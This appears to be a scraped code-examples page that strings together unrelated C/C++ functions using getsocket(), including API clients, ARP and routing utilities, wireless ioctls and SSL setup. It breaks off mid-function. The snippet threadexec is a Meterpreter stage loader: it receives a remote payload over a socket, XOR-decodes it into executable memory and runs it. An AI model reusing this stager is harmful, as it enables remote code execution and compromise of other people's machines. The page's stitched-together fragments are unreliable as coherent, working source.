Exemplo n.º 1
0
char *show_device(int devid){
	char cmd[MAXBUFF];
	char device_id[30];
	char *ret;
	struct hostent *host=NULL;
	int sockfd;
	struct sockaddr_in sockaddr;
	host=gethost();
	if(NULL==host){
		return NULL;
	}
	sockfd=getsocket();
	if(-1==sockfd){
		return NULL;
	}
	init_sockaddr(&sockaddr,host);
	if(-1==(getconnect(sockfd,&sockaddr))){
		return NULL;
	}
	sprintf(device_id,"%d",devid);
	memset(cmd,0,sizeof(cmd));
	strcat(cmd,"GET /v1.0/device/");
	strcat(cmd,device_id);
	strcat(cmd," HTTP/1.1\r\nHost: api.yeelink.net\r\nU-ApiKey: ");
	strcat(cmd,yeelink_apikey);
	strcat(cmd,"\r\n\r\n");
	if(-1==(sencmd(sockfd,cmd))){
		return NULL;
	}
	if(NULL==(ret=receivecmd(sockfd))){
		return NULL;
	}
	closesocket(sockfd);
	return ret;
}
bool Sockethelper::connect(u_long ip, int port)
{
	ipaddr_type sa;
	memset(&sa, 0, sizeof(sa));

	sa.sin_family = AF_INET;
	sa.sin_addr.s_addr = ip;
	sa.sin_port = htons((u_short)port);

	if (SOCKET_ERROR == ::connect(getsocket(), (struct sockaddr*)&sa, sizeof(sa)))
	{
		int en = socket_error::getLastError();
		log(Info, "error socket port:%d, error no is:%d", port, en);
		if (isIgnoreConnect(en))
			return false;
		throw socket_error(en, "connect");
	}
	// XXX check dereism [freebsd]
	{
	u_long localip; int localport;
	localip = getlocal(&localport);
	if (localip == ip && localport == port)
		throw socket_error(0, "dereism connection found");
	}
	m_sock_flags.connected = 1;
	return true;
}
Exemplo n.º 3
0
char * edit_device(int devid,struct device *dev){
	char device_id[30];
	char tmp_str[50];
	char *cmd;
	struct hostent *host=NULL;
	int sockfd;
	struct sockaddr_in sockaddr;
	host=gethost();
	if(NULL==host){
		return NULL;
	}
	sockfd=getsocket();
	if(-1==sockfd){
		return NULL;
	}
	init_sockaddr(&sockaddr,host);
	if(-1==(getconnect(sockfd,&sockaddr))){
		return NULL;
	}
	sprintf(device_id,"%d",devid);
	memset(tmp_str,0,sizeof(tmp_str));
	strcat(tmp_str,"/v1.0/device/");
	strcat(tmp_str,device_id);
	cmd=link_deviceinfo(tmp_str,dev);
	if(-1==(sencmd(sockfd,cmd))){
		return NULL;
	}
	if(NULL==(cmd=receivecmd(sockfd))){
		return NULL;
	}
	closesocket(sockfd);
	return cmd;
}
int Sockethelper::waitevent(int event, int timeout)
{
	if (!isValid())
		throw socket_error(0, "poll invalid socket");

	struct pollfd fds[1];
	fds[0].fd = getsocket();
	fds[0].events = 0;

	if (event & SEL_READ) fds[0].events |= POLLIN;
	if (event & SEL_WRITE) fds[0].events |= POLLOUT;

	int ret = ::poll(fds, 1, timeout);
	if (SOCKET_ERROR == ret)
	{
		if (errno == EINTR)
			return -1;
		throw socket_error("poll");
	}
	if (0 == ret) return 0; // timeout

	if (fds[0].revents & POLLERR) throw socket_error(0, "POLLERR");
	if (fds[0].revents & POLLNVAL) throw socket_error(0, "POLLNVAL");

	// ok, return ready event
	ret = 0;
	if (fds[0].revents & POLLIN) ret |= SEL_READ;
	if (fds[0].revents & POLLOUT) ret |= SEL_WRITE;
	return ret;
}
Exemplo n.º 5
0
char * create_device(struct device *dev){
	char *cmd;
	struct hostent *host=NULL;
	int sockfd;
	struct sockaddr_in sockaddr;
	host=gethost();
	if(NULL==host){
		return NULL;
	}
	sockfd=getsocket();
	if(-1==sockfd){
		return NULL;
	}
	init_sockaddr(&sockaddr,host);
	if(-1==(getconnect(sockfd,&sockaddr))){
		return NULL;
	}
	cmd=link_deviceinfo("/v1.0/devices",dev);
	if(-1==(sencmd(sockfd,cmd))){
		return NULL;
	}
	if(NULL==(cmd=receivecmd(sockfd))){
		return NULL;
	}
	closesocket(sockfd);
	return cmd;
}
Exemplo n.º 6
0
static void
receiver(const int fd, const char *host, const char *port, size_t n, bool conn,
    bool bug)
{
	int s;
	ssize_t l;
	size_t seq;
	struct message msg;
	struct pollfd pfd;
	socklen_t slen;

	s = getsocket(host, port, bind, &slen, bug);
	pfd.fd = s;
	pfd.events = POLLIN;

	/* Tell I'm ready */
	synchronize(fd, false);

	for (seq = 0; seq < n; seq++) {
		if (poll(&pfd, 1, 10000) == -1)
			ERRX(EXIT_FAILURE, "poll (%s)", strerror(errno));
		l = conn ? recv(s, &msg, sizeof(msg), 0) :
		    recvfrom(s, &msg, sizeof(msg), 0, (void *)&ss, &slen);
		if (l == -1)
			ERRX(EXIT_FAILURE, "recv (%s)", strerror(errno));
		if (debug)
			show("got", &msg);
		if (seq != msg.seq)
			ERRX(EXIT_FAILURE, "seq: expect=%zu actual=%zu",
			    seq, msg.seq);
	}

	/* Tell I'm finished */
	synchronize(fd, false);
}
Exemplo n.º 7
0
static int
do80211priv(struct iwreq *iwr, const char *ifname, int op, void *data, size_t len)
{
	memset(iwr, 0, sizeof(struct iwreq));
	strncpy(iwr->ifr_name, ifname, IFNAMSIZ);
	if (len < IFNAMSIZ) {
		/*
		 * Argument data fits inline; put it there.
		 */
		memcpy(iwr->u.name, data, len);
	} else {
		/*
		 * Argument data too big for inline transfer; setup a
		 * parameter block instead; the kernel will transfer
		 * the data for the driver.
		 */
		iwr->u.data.pointer = data;
		iwr->u.data.length = len;
	}

	if (ioctl(getsocket(), op, iwr) < 0) {
		static const char *opnames[] = {
			IOCTL_ERR(IEEE80211_IOCTL_SETPARAM),
			IOCTL_ERR(IEEE80211_IOCTL_GETPARAM),
			IOCTL_ERR(IEEE80211_IOCTL_SETMODE),
			IOCTL_ERR(IEEE80211_IOCTL_GETMODE),
			IOCTL_ERR(IEEE80211_IOCTL_SETWMMPARAMS),
			IOCTL_ERR(IEEE80211_IOCTL_GETWMMPARAMS),
			IOCTL_ERR(IEEE80211_IOCTL_SETCHANLIST),
			IOCTL_ERR(IEEE80211_IOCTL_GETCHANLIST),
			IOCTL_ERR(IEEE80211_IOCTL_CHANSWITCH),
			IOCTL_ERR(IEEE80211_IOCTL_GETCHANINFO),
			IOCTL_ERR(IEEE80211_IOCTL_SETOPTIE),
			IOCTL_ERR(IEEE80211_IOCTL_GETOPTIE),
			IOCTL_ERR(IEEE80211_IOCTL_SETMLME),
			IOCTL_ERR(IEEE80211_IOCTL_RADAR),
			IOCTL_ERR(IEEE80211_IOCTL_SETKEY),
			IOCTL_ERR(IEEE80211_IOCTL_DELKEY),
			IOCTL_ERR(IEEE80211_IOCTL_HALMAP),
			IOCTL_ERR(IEEE80211_IOCTL_ADDMAC),
			IOCTL_ERR(IEEE80211_IOCTL_DELMAC),
			IOCTL_ERR(IEEE80211_IOCTL_WDSADDMAC),
			IOCTL_ERR(IEEE80211_IOCTL_WDSDELMAC),
			IOCTL_ERR(IEEE80211_IOCTL_READREG),
			IOCTL_ERR(IEEE80211_IOCTL_WRITEREG),
		};
		op -= SIOCIWFIRSTPRIV;
		if (0 <= op && op < ARRAY_SIZE(opnames))
			perror(opnames[op]);
		else
			perror("ioctl[unknown???]");
		return -1;
	}
	return 0;
}
static int init_virtdev_device(const char *devname, int port, pollfd_callback cb) {
	printf ("probing %s: (waiting for connection localhost:%d)\n", devname, port);
	int fd = getsocket(port);
	if (fd >= 0) {
		int rc = fcf_add_fd(fd, POLLIN, cb);
		if (rc >= 0) {
			return fd;
		}
	}
	return -1;
}
u_long Sockethelper::getlocal(int *port) const
{
	ipaddr_type sa;
	memset(&sa, 0, sizeof(sa));
	socklen_t len = sizeof(sa);

	if (SOCKET_ERROR == ::getsockname(getsocket(), (struct sockaddr*)&sa, &len))
		throw socket_error("getlocal");

	if (port) *port = ntohs(sa.sin_port);
	return sa.sin_addr.s_addr;
}
void Sockethelper::bind(int port, u_long addr)
{
	ipaddr_type sa;
	memset(&sa, 0, sizeof(sa));

	sa.sin_family = AF_INET;
	sa.sin_addr.s_addr = addr;
	sa.sin_port = htons((u_short)port);

	if (SOCKET_ERROR == ::bind(getsocket(), (struct sockaddr*)&sa, sizeof(sa)))
		throw socket_error(tostring("bind at ", port));
}
int Sockethelper::waitevent(int event, int timeout)
{
	if (!isValid())
		throw socket_error(0, "poll invalid socket");

	fd_set rs;
	fd_set ws;
	FD_ZERO(&rs);
	FD_ZERO(&ws);
	if (event & SEL_READ) FD_SET(getsocket(), &rs);
	if (event & SEL_WRITE) FD_SET(getsocket(), &ws);
	
	int ret;
	if (timeout >= 0)
	{
		struct timeval tv;
		tv.tv_sec = timeout / 1000;
		tv.tv_usec = 1000 * (timeout % 1000);
		ret = ::select(int(getsocket()) + 1, &rs, &ws, NULL, &tv);
	}
	else
		ret = ::select(int(getsocket()) + 1, &rs, &ws, NULL, NULL);

	if (SOCKET_ERROR == ret) throw socket_error("select");
	if (0 == ret) return 0; // timeout

	// ok, return ready event
	ret = 0;
	if (FD_ISSET(getsocket(), &rs)) ret |= SEL_READ;
	if (FD_ISSET(getsocket(), &ws)) ret |= SEL_WRITE;
	return ret;
}
Exemplo n.º 12
0
void sstream::open(const char *host, const char *service, size_t size)
{
    if(server)
        return;

    close();
    tcpstream::open(host, service, size);

    if(!is_open() || !ssl)
        return;

    SSL_set_fd((SSL *)ssl, getsocket());

    if(SSL_connect((SSL *)ssl) > 0)
        bio = SSL_get_wbio((SSL *)ssl);
}
void Sockethelper::shutdown(int nHow)
{
	if (nHow & Receives)
	{
		if (m_sock_flags.selevent & SEL_READ)
			throw socket_error(0, "shutdown recv, but SEL_READ setup");
		m_sock_flags.shutdown_recv = 1;
	}
	if (nHow & Sends)
	{
		if (m_sock_flags.selevent & SEL_WRITE)
			throw socket_error(0, "shutdown send, but SEL_WRITE setup");
		m_sock_flags.shutdown_send = 1;
	}
	//int ret = 
	::shutdown(getsocket(), how_shutdown(nHow));
	// XXX if (SOCKET_ERROR == ret) {}
}
Exemplo n.º 14
0
int main(){
    cmh mcmh,encrypted_mcmh;
    struct string mcert,mpri,en_pri;
    struct string signed_data;
    fd = getsocket(MY_PORT);
    if(fd <0 ){
        error();
        return -1;
    }
    getcert_and_key(&mcert,&mpri,&en_pri);
    if( cme_cmh_request(&mcmh) || cme_cmh_request(&encrypted_mcmh)){
        error();
        return-1;
    }
    printf("cmh = %d  encrypted cmh = %d\n",mcmh,encrypted_mcmh);
    if( cme_store_cert_key(mcmh,mcert.buf,mcert.len,mpri.buf,mpri.len) ||
            cme_store_cert_key(encrypted_mcmh,mcert.buf,mcert.len,en_pri.buf,en_pri.len)){
        error();
        return -1;
    }
    string_printf("mcert:",&mcert);
    printf("store cert and key\n");
    if(generated_signed_data(mcmh,&signed_data)){
        error();
        return -1;
    }
    printf("send cert\n");
    send_to(mcert.buf,mcert.len);
    printf("send data\n");
    send_to(signed_data.buf,signed_data.len);
    
    struct string encrypteddata;
    encrypteddata.len = 0;
    encrypteddata.buf = 0;
    encrypteddata.len = 1024;
    encrypteddata.buf = (char*)malloc(encrypteddata.len);
    if(encrypteddata.buf == NULL){
        error();
        return;
    }
    encrypteddata.len = mrecvfrom(fd,encrypteddata.buf,encrypteddata.len,OPP_PORT);
    sec_data_parse(&encrypteddata,encrypted_mcmh);    

}
Exemplo n.º 15
0
sstream::sstream(const TCPServer *tcp, secure::server_t scontext, size_t size) :
tcpstream(tcp, size)
{
    context *ctx = (context *)scontext;
    ssl = NULL;
    bio = NULL;
    server = true;

    if(ctx && ctx->ctx && ctx->err() == secure::OK)
        ssl = SSL_new(ctx->ctx);

    if(!is_open() || !ssl)
        return;

    SSL_set_fd((SSL *)ssl, getsocket());

    if(SSL_accept((SSL *)ssl) > 0)
        bio = SSL_get_wbio((SSL *)ssl);
}
Exemplo n.º 16
0
static int
sender(const int fd, const char *host, const char *port, size_t n, bool conn,
    bool bug)
{
	int s;
	ssize_t l;
	struct message msg;

	socklen_t slen;

	s = getsocket(host, port, conn ? connect : connector, &slen, bug);

	/* Wait until receiver gets ready. */
	if (synchronize(fd, true) == -1)
		return -1;

	for (msg.seq = 0; msg.seq < n; msg.seq++) {
#ifdef CLOCK_MONOTONIC
		if (clock_gettime(CLOCK_MONOTONIC, &msg.ts) == -1)
			ERRX(EXIT_FAILURE, "clock (%s)", strerror(errno));
#else
		struct timeval tv;
		if (gettimeofday(&tv, NULL) == -1)
			ERRX(EXIT_FAILURE, "clock (%s)", strerror(errno));
		msg.ts.tv_sec = tv.tv_sec;
		msg.ts.tv_nsec = tv.tv_usec * 1000;
#endif
		if (debug)
			show("sending", &msg);
		l = conn ? send(s, &msg, sizeof(msg), 0) :
		    sendto(s, &msg, sizeof(msg), 0, (void *)&ss, slen);
		if (l == -1)
			ERRX(EXIT_FAILURE, "send (%s)", strerror(errno));
		usleep(100);
	}

	/* Wait until receiver finishes its work. */
	if (synchronize(fd, true) == -1)
		return -1;

	return 0;
}
Exemplo n.º 17
0
static int
get80211param(const char *ifname, int param, void *data, size_t len)
{
	struct iwreq iwr;

	memset(&iwr, 0, sizeof(iwr));
	strncpy(iwr.ifr_name, ifname, IFNAMSIZ);
	iwr.u.mode = param;

	if (ioctl(getsocket(), IEEE80211_IOCTL_GETPARAM, &iwr) < 0) {
		perror("ioctl[IEEE80211_IOCTL_GETPARAM]");
		return -1;
	}
	if (len < IFNAMSIZ) {
		/*
		 * Argument data fits inline; put it there.
		 */
		memcpy(data, iwr.u.name, len);
	}
	return iwr.u.data.length;
}
/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
read port:ip
Receive stage
set socket in EDI
execute payload
*/
DWORD WINAPI threadexec(LPVOID exename){
	SOCKET meterpretersock;
	int response = 0;
	int total = 0;
	unsigned char *payload;
	char recvbuf[1024];
	DWORD payloadlength = 0;
	HMODULE loadedfile = NULL;

	if (initwsa() != 0){
		exit(0);
	}

	meterpretersock = getsocket((char *)exename);
	response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0);

	payload = (unsigned char *)VirtualAlloc(NULL, payloadlength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memset(payload, 0, payloadlength);
	memset(recvbuf, 0, 1024);

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		if (USEXOR){
			xor(&recvbuf[0], response);
		}
		memcpy(payload, recvbuf, response);
		payload += response;
		total += response;
		payloadlength -= response;

	} while (payloadlength > 0);
	payload -= total;

	__asm{
		mov edi,meterpretersock
	}

	int(*ret)() = (int(*)())payload;
	ret();
}
Exemplo n.º 19
0
/*
 * Set an individual arp entry
 */
int
arptab_set(u_char *eaddr, u_int32_t host)
{
	struct sockaddr_inarp *sin = &sin_m;
	struct rt_msghdr *rtm = &(m_rtmsg.m_rtm);
	struct sockaddr_dl *sdl;
	struct timeval now;
	int rt;

	getsocket();
	pid = getpid();

	sdl_m = blank_sdl;
	sin_m = blank_sin;
	sin->sin_addr.s_addr = host;
	memcpy((u_char *)LLADDR(&sdl_m), (char *)eaddr, 6);
	sdl_m.sdl_alen = 6;
	expire_time = 0;
	doing_proxy = flags = export_only = 0;
	gettimeofday(&now, 0);
	expire_time = now.tv_sec + 20 * 60;

tryagain:
	if (rtmsg(RTM_GET) < 0) {
		syslog(LOG_ERR,"%s: %m", inet_ntoa(sin->sin_addr));
		close(s);
		s = -1;
		return (1);
	}
	sin = (struct sockaddr_inarp *)((char *)rtm + rtm->rtm_hdrlen);
	sdl = (struct sockaddr_dl *)(sin->sin_len + (char *)sin);
	if (sin->sin_addr.s_addr == sin_m.sin_addr.s_addr) {
		if (sdl->sdl_family == AF_LINK &&
		    (rtm->rtm_flags & RTF_LLINFO) &&
		    !(rtm->rtm_flags & RTF_GATEWAY))
			switch (sdl->sdl_type) {
			case IFT_ETHER:
			case IFT_FDDI:
			case IFT_ISO88023:
			case IFT_ISO88024:
			case IFT_ISO88025:
				goto overwrite;
			default:
				break;
		}
		if (doing_proxy == 0) {
			syslog(LOG_ERR, "arptab_set: can only proxy for %s",
			    inet_ntoa(sin->sin_addr));
			close(s);
			s = -1;
			return (1);
		}
		if (sin_m.sin_other & SIN_PROXY) {
			syslog(LOG_ERR,
			    "arptab_set: proxy entry exists for non 802 device");
			close(s);
			s = -1;
			return(1);
		}
		sin_m.sin_other = SIN_PROXY;
		export_only = 1;
		goto tryagain;
	}
overwrite:
	if (sdl->sdl_family != AF_LINK) {
		syslog(LOG_ERR,
		    "arptab_set: cannot intuit interface index and type for %s",
		    inet_ntoa(sin->sin_addr));
		close(s);
		s = -1;
		return (1);
	}
	sdl_m.sdl_type = sdl->sdl_type;
	sdl_m.sdl_index = sdl->sdl_index;
	rt = rtmsg(RTM_ADD);
	close(s);
	s = -1;
	return (rt);
}
Exemplo n.º 20
0
int
main(int argc, char *argv[])
{
	int _argc = 0;
	char *_argv[5];
	pid_t pid;
	int execed = 0;

	int n, nfd, tflags = 0, ch;
	struct timeval *tvp, waittime;
	struct itimerval itval;
	fd_set ibits;
	sigset_t sigset, osigset;

	while ((ch = getopt(argc, argv, "D012bsqtdg")) != EOF) {
		switch (ch) {
			case 'D':
				execed = 1;
				break;
			case '0': ripversion = 0; break;
			case '1': ripversion = 1; break;
			case '2': ripversion = 2; break;
			case 'b': multicast = 0; break;
			case 's': supplier = 1; break;
			case 'q': supplier = 0; break;
			case 't': 
				tflags++;
				break;
			case 'd': 
				debug++;
				setlogmask(LOG_UPTO(LOG_DEBUG));
				break;
			case 'g': gateway = 1; break;
			default:
				fprintf(stderr, "usage: routed [ -1bsqtdg ]\n");
				exit(1);
		}
	}
	
	// Modified by Mason Yu
	sleep(2);
	/*
	if(!check_pid()) {
		// Commented by Mason Yu
		//write_cfg();
		exit(1);
	}
	*/
	
	if (!execed) {
		if ((pid = vfork()) < 0) {
			fprintf(stderr, "vfork failed\n");
			exit(1);
		} else if (pid != 0) {
			exit(0);
		}
		
		for (_argc=0; _argc < argc; _argc++ )
			_argv[_argc] = argv[_argc];
		_argv[0] = runPath;
		_argv[argc++] = "-D";
		_argv[argc++] = NULL;
		execv(_argv[0], _argv);
		/* Not reached */
		fprintf(stderr, "Couldn't exec\n");
		_exit(1);

	} else {
		setsid();
	}

	getkversion();

	sock = getsocket();
	assert(sock>=0);

	openlog("routed", LOG_PID | LOG_ODELAY, LOG_DAEMON);

#if 0
	if (debug == 0 && tflags == 0) {
#ifndef EMBED
		switch (fork()) {
			case -1: perror("fork"); exit(1);
			case 0: break;  /* child */
			default: exit(0);   /* parent */
		}
#endif
		close(0);
		close(1);
		close(2);
		setsid();
		setlogmask(LOG_UPTO(LOG_WARNING));
	}
	else 
#endif
	{
		setlogmask(LOG_UPTO(LOG_DEBUG));
	}

	/*
	 * Any extra argument is considered
	 * a tracing log file.
	 * 
	 * Note: because traceon() redirects stderr, anything planning to
	 * crash on startup should do so before this point.
	 */

	if (argc > 1) {
		traceon(argv[argc - 1]);
	}
	while (tflags-- > 0) {
		bumploglevel();
	}

	gettimeofday(&now, NULL);

	/*
	 * Collect an initial view of the world by
	 * checking the interface configuration and the gateway kludge
	 * file.  Then, send a request packet on all
	 * directly connected networks to find out what
	 * everyone else thinks.
	 */
	 read_cfg();
	rtinit();
	ifinit();
	gwkludge();

	if (gateway > 0) {
		rtdefault();
	}

	if (supplier < 0) {
		supplier = 0;
	}

	signal(SIGALRM, timer);
	signal(SIGHUP, hup);
	signal(SIGTERM, hup);
        signal(SIGTERM, terminate_routed); //RTK WiSOC modify for deleting all route entry
	signal(SIGINT, rtdeleteall);
	signal(SIGUSR1, sigtrace);
	signal(SIGUSR2, sigtrace);

	itval.it_interval.tv_sec = TIMER_RATE;
	itval.it_value.tv_sec = TIMER_RATE;
	itval.it_interval.tv_usec = 0;
	itval.it_value.tv_usec = 0;

	srandom(time(NULL) ^ getpid());

	if (setitimer(ITIMER_REAL, &itval, (struct itimerval *)NULL) < 0) {
		syslog(LOG_ERR, "setitimer: %m\n");
	}
	
	// Kaohj
//#ifdef EMBED //WiSOC we use pid file for system init
	write_pid();
//#endif
	rip_request_send();
	rip_input_init();
	DISPLAY_BANNER;
	FD_ZERO(&ibits);
	nfd = sock + 1;			/* 1 + max(fd's) */
	for (;;) {
		FD_SET(sock, &ibits);

		/*
		 * If we need a dynamic update that was held off,
		 * needupdate will be set, and nextbcast is the time
		 * by which we want select to return.  Compute time
		 * until dynamic update should be sent, and select only
		 * until then.  If we have already passed nextbcast,
		 * just poll.
		 */
		if (needupdate) {
			waittime = nextbcast;
			timevalsub(&waittime, &now);
			if (waittime.tv_sec < 0) {
				waittime.tv_sec = 0;
				waittime.tv_usec = 0;
			}
			if (traceactions)
				fprintf(ftrace,
				 "select until dynamic update %ld/%ld sec/usec\n",
				    (long)waittime.tv_sec, (long)waittime.tv_usec);
			tvp = &waittime;
		}
		else {
			tvp = (struct timeval *)NULL;
		}

		n = select(nfd, &ibits, 0, 0, tvp);
		if (n <= 0) {
			/*
			 * Need delayed dynamic update if select returned
			 * nothing and we timed out.  Otherwise, ignore
			 * errors (e.g. EINTR).
			 */
			if (n < 0) {
				if (errno == EINTR)
					continue;
				syslog(LOG_ERR, "select: %m");
			}
			sigemptyset(&sigset);
			sigaddset(&sigset, SIGALRM);
			sigprocmask(SIG_BLOCK, &sigset, &osigset);
			if (n == 0 && needupdate) {
				if (traceactions)
					fprintf(ftrace,
					    "send delayed dynamic update\n");
				(void) gettimeofday(&now,
					    (struct timezone *)NULL);
				toall(supply, RTS_CHANGED,
				    (struct interface *)NULL);
				lastbcast = now;
				needupdate = 0;
				nextbcast.tv_sec = 0;
			}
			sigprocmask(SIG_SETMASK, &osigset, NULL);
			continue;
		}

		gettimeofday(&now, (struct timezone *)NULL);
		sigemptyset(&sigset);
		sigaddset(&sigset, SIGALRM);
		sigprocmask(SIG_BLOCK, &sigset, &osigset);

		if (FD_ISSET(sock, &ibits)) {
			process(sock);
		}

		/* handle ICMP redirects */
		sigprocmask(SIG_SETMASK, &osigset, NULL);
	}
}
Exemplo n.º 21
0
/*
 * Set an individual arp entry
 */
int
bsd_arp_set(struct in_addr *ia, char *eaddr, int len)
{
	struct sockaddr_inarp *sin = &sin_m;
	struct sockaddr_dl *sdl;
	struct rt_msghdr *rtm = &(m_rtmsg.m_rtm);
	u_char *ea;
	struct timeval time;
	int op = RTM_ADD;

	getsocket();
	sdl_m = blank_sdl;
	sin_m = blank_sin;
	sin->sin_addr = *ia;

	ea = (u_char *)LLADDR(&sdl_m);
	bcopy(eaddr, ea, len);
	sdl_m.sdl_alen = len;
	doing_proxy = flags = export_only = expire_time = 0;

	/* make arp entry temporary */
	gettimeofday(&time, 0);
	expire_time = time.tv_sec + 20 * 60;

tryagain:
	if (rtmsg(RTM_GET) < 0) {
		report(LOG_WARNING, "rtmget: %s", strerror(errno));
		return (1);
	}
	sin = (struct sockaddr_inarp *)(rtm + 1);
	sdl = (struct sockaddr_dl *)(sin->sin_len + (char *)sin);
	if (sin->sin_addr.s_addr == sin_m.sin_addr.s_addr) {
		if (sdl->sdl_family == AF_LINK &&
		    (rtm->rtm_flags & RTF_LLINFO) &&
		    !(rtm->rtm_flags & RTF_GATEWAY)) switch (sdl->sdl_type) {
		case IFT_ETHER: case IFT_FDDI: case IFT_ISO88023:
		case IFT_ISO88024: case IFT_ISO88025:
			op = RTM_CHANGE;
			goto overwrite;
		}
		if (doing_proxy == 0) {
			report(LOG_WARNING, "set: can only proxy for %s\n",
				inet_ntoa(sin->sin_addr));
			return (1);
		}
		if (sin_m.sin_other & SIN_PROXY) {
			report(LOG_WARNING,
				"set: proxy entry exists for non 802 device\n");
			return(1);
		}
		sin_m.sin_other = SIN_PROXY;
		export_only = 1;
		goto tryagain;
	}
overwrite:
	if (sdl->sdl_family != AF_LINK) {
		report(LOG_WARNING,
			"cannot intuit interface index and type for %s\n",
			inet_ntoa(sin->sin_addr));
		return (1);
	}
	sdl_m.sdl_type = sdl->sdl_type;
	sdl_m.sdl_index = sdl->sdl_index;
	return (rtmsg(op));
}
Exemplo n.º 22
0
/*
 * Set an individual arp entry
 */
int
set(int argc, char *argv[])
{
	struct sockaddr_inarp *sin;
	struct sockaddr_dl *sdl;
	struct rt_msghdr *rtm;
	char *eaddr = argv[1], *host = argv[0];
	struct ether_addr *ea;

	sin = &sin_m;
	rtm = &(m_rtmsg.m_rtm);

	getsocket();
	argc -= 2;
	argv += 2;
	sdl_m = blank_sdl;		/* struct copy */
	sin_m = blank_sin;		/* struct copy */
	if (getinetaddr(host, &sin->sin_addr) == -1)
		return (1);
	ea = ether_aton(eaddr);
	if (ea == NULL)
		errx(1, "invalid ethernet address: %s", eaddr);
	memcpy(LLADDR(&sdl_m), ea, sizeof(*ea));
	sdl_m.sdl_alen = 6;
	expire_time = 0;
	doing_proxy = flags = export_only = 0;
	while (argc-- > 0) {
		if (strncmp(argv[0], "temp", 4) == 0) {
			struct timeval now;

			gettimeofday(&now, 0);
			expire_time = now.tv_sec + 20 * 60;
			if (flags & RTF_PERMANENT_ARP) {
				/* temp or permanent, not both */
				usage();
				return (0);
			}
		} else if (strncmp(argv[0], "pub", 3) == 0) {
			flags |= RTF_ANNOUNCE;
			doing_proxy = SIN_PROXY;
		} else if (strncmp(argv[0], "permanent", 9) == 0) {
			flags |= RTF_PERMANENT_ARP;
			if (expire_time != 0) {
				/* temp or permanent, not both */
				usage();
				return (0);
			}
		}

		argv++;
	}

tryagain:
	if (rtget(&sin, &sdl)) {
		warn("%s", host);
		return (1);
	}

	if (sin->sin_addr.s_addr == sin_m.sin_addr.s_addr) {
		if (sdl->sdl_family == AF_LINK &&
		    (rtm->rtm_flags & RTF_LLINFO) &&
		    !(rtm->rtm_flags & RTF_GATEWAY))
			switch (sdl->sdl_type) {
			case IFT_ETHER:
			case IFT_FDDI:
			case IFT_ISO88023:
			case IFT_ISO88024:
			case IFT_ISO88025:
			case IFT_CARP:
				goto overwrite;
			}

		if (doing_proxy == 0) {
			printf("set: can only proxy for %s\n", host);
			return (1);
		}
		if (sin_m.sin_other & SIN_PROXY) {
			printf("set: proxy entry exists for non 802 device\n");
			return (1);
		}
		sin_m.sin_other = SIN_PROXY;
		export_only = 1;
		goto tryagain;
	}

overwrite:
	if (sdl->sdl_family != AF_LINK) {
		printf("cannot intuit interface index and type for %s\n", host);
		return (1);
	}
	sdl_m.sdl_type = sdl->sdl_type;
	sdl_m.sdl_index = sdl->sdl_index;
	return (rtmsg(RTM_ADD));
}
Exemplo n.º 23
0
int ej_active_wireless_if_11n(webs_t wp, int argc, char_t ** argv, char *ifname, int cnt, int turbo, int macmask)
{

	unsigned char *cp;
	int s, len;
	struct iwreq iwr;
	char nb[32];
	sprintf(nb, "%s_bias", ifname);
	int bias = atoi(nvram_default_get(nb, "0"));
	if (!ifexists(ifname)) {
		printf("IOCTL_STA_INFO ifresolv %s failed!\n", ifname);
		return cnt;
	}
	int state = 0;
	state = get_radiostate(ifname);
	if (state == 0 || state == -1) {
		printf("IOCTL_STA_INFO radio %s not enabled!\n", ifname);
		return cnt;
	}
	s = getsocket();
	if (s < 0) {
		fprintf(stderr, "socket(SOCK_DRAGM)\n");
		return cnt;
	}
	(void)memset(&iwr, 0, sizeof(struct iwreq));
	(void)strncpy(iwr.ifr_name, ifname, sizeof(iwr.ifr_name));

	iwr.u.data.pointer = (void *)&madbuf[0];
	iwr.u.data.length = 24 * 1024;
	if (ioctl(s, IEEE80211_IOCTL_STA_INFO, &iwr) < 0) {
		fprintf(stderr, "IOCTL_STA_INFO for %s failed!\n", ifname);
		closesocket();
		return cnt;
	}
	len = iwr.u.data.length;
	if (len < sizeof(struct ieee80211req_sta_info)) {
		// fprintf(stderr,"IOCTL_STA_INFO len<struct %s failed!\n",ifname);
		closesocket();
		return cnt;
	}
	cp = madbuf;
	int bufcount = 0;
	do {
		struct ieee80211req_sta_info *si;
		uint8_t *vp;

		si = (struct ieee80211req_sta_info *)cp;
		vp = (u_int8_t *)(si + 1);

		if (cnt)
			websWrite(wp, ",");
		cnt++;
		char mac[32];

		strncpy(mac, ieee80211_ntoa(si->isi_macaddr), 31);
		if (nvram_match("maskmac", "1") && macmask) {
			mac[0] = 'x';
			mac[1] = 'x';
			mac[3] = 'x';
			mac[4] = 'x';
			mac[6] = 'x';
			mac[7] = 'x';
			mac[9] = 'x';
			mac[10] = 'x';
		}
		if (si->isi_noise == 0) {
			si->isi_noise = -95;
		}
		int qual = (si->isi_noise + si->isi_rssi) * 124 + 11600;
		qual /= 10;
		int rxrate = si->isi_rxrateKbps / 1000;
		int txrate = si->isi_txrateKbps / 1000;
		if (!rxrate)
			rxrate = si->isi_rates[si->isi_rxrate] & IEEE80211_RATE_VAL;
		if (!txrate)
			txrate = si->isi_rates[si->isi_txrate] & IEEE80211_RATE_VAL;

		char rx[32];
		char tx[32];
		if (rxrate)
			sprintf(rx, "%3dM", rxrate);
		else
			sprintf(rx, "N/A");
		if (txrate)
			sprintf(tx, "%3dM", txrate);
		else
			sprintf(tx, "N/A");
		websWrite(wp, "'%s','%s','%s','%s','%s','%d','%d','%d','%d'", mac, ifname, UPTIME(si->isi_uptime), tx, rx, si->isi_noise + si->isi_rssi + bias, si->isi_noise + bias, si->isi_rssi, qual);
		bufcount += si->isi_len;
		cp += si->isi_len;
		len -= si->isi_len;
	}
	while (len >= sizeof(struct ieee80211req_sta_info)
	       && bufcount < (sizeof(madbuf) - sizeof(struct ieee80211req_sta_info)));

	closesocket();

	return cnt;
}
void socket_client()
{

	//The port and address you want to connect to
	int host_port = 1101;
	char* host_name = "127.0.0.1";

	//Initialize socket support WINDOWS ONLY!
	unsigned short wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD(2, 2);
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0 || (LOBYTE(wsaData.wVersion) != 2 ||
		HIBYTE(wsaData.wVersion) != 2)) {
